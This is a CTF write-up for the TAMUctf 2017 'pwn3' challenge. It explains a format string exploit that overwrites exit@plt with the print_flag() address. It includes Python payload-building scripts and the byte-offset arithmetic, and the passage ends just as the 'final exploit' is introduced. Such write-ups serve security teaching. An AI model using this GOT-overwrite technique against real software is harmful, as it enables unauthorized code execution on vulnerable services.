TAMUctf 2017 : pwn150-pwn3

nc pwn.ctf.tamu.edu 4323
Bet you can't corrupt my stack now.

Solution

Well, this time the buffer is safe, but theres a format string vulnerabily and we can use this to print out contents from memory

..as you can see our AAAA input can be found at 4 position of stack, remember this later..

Listing the functions we have again a print_flag()

But, how to execute this function from a format string vuln? Maybe rewriting EIP to 0x080485ab using %n?

Well, disassembling main() we can notice there's an exit() after the printf, in C, something like this:

puts("Enter a word to be echoed:");  
gets(&s);  
printf(&s);  
exit(0);  

If you manage to set EIP=0x080485ab it will print the flag remotely and exits.. no flag 4 u!

Wee need to go deeper..

A good idea is find the address of exit@plt on memory and and rewrite it w/ print_flag() address.. then @0x08048673 the program will call your print_flag() instead exit()

I started by setting a breakpoint at 0x08048673, disassembling main() and exit@plt to find the address which he is calling

Another way to do this is w/ objdump..

objdump -TR ./pwn3 |grep exit

0x80485ab = print_flag  
0x804a01c = exit@plt  
0x80485ab = address exit@plt will jump  

So, we need to change the 0x08048456 stored @ 0x804a01c to 0x80485ab

Now i've created a padding of 128 bytes which i easily can shift to this address using the %4$30x$n from format string, remember %<index><padding>x$n

import struct

# 0x80485ab = print_flag
# 0x804a01c = exit@plt
# 0x80485ab = address exit@plt will jump

exitplt = 0x804a01c

def pad(s):  
    return s+"X"*(128-len(s))

# A big thx to liveoverflow 4 this padding tip, https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w

exploit = ""  
exploit += struct.pack("I",exitplt)  
exploit += "XXXXXXXXXXXX"  
exploit += "%4$30x "  
exploit += "%4$n "

print pad(exploit)  

As you can see we've changed the lower two bytes of 0x804a01c to 0x2f but it need to be 0x85ab

padding = 30  
0x2f to decimal = 47  
0x85ab to decimal = 34219  
47-30 = 17  
34219-17 = 34202  

Nice!

Now we need to change the higher 2 bytes to 0x0804

Exploit update:
- added more padding and %5$n to write to %5 position of stack too.

import struct

# 0x80485ab = print_flag
# 0x804a01c = exit@plt
# 0x80485ab = address exit@plt will jump

exitplt = 0x804a01c

def pad(s):  
    return s+"X"*(128-len(s))

exploit = ""  
exploit += struct.pack("I",exitplt)  
exploit += struct.pack("I",exitplt+2)  
exploit += "XXXXXXXX"  
exploit += "%4$34202x "  
exploit += "%4$n "  
exploit += "%30x "  
exploit += "%5$n "

print pad(exploit)  

It works.. we've changed the 2 higher bytes to 0x85cb but we need 0x0804

padding = 30  
0x10804 - 0x85cb  = 0x8239 # used 0x10804 because 0x0804 is lower than 0x85cb  
0x8239 to decimal = 33337  
+ padding = 33367

Perfect :)
Now we are good to go remotely..

Final exploit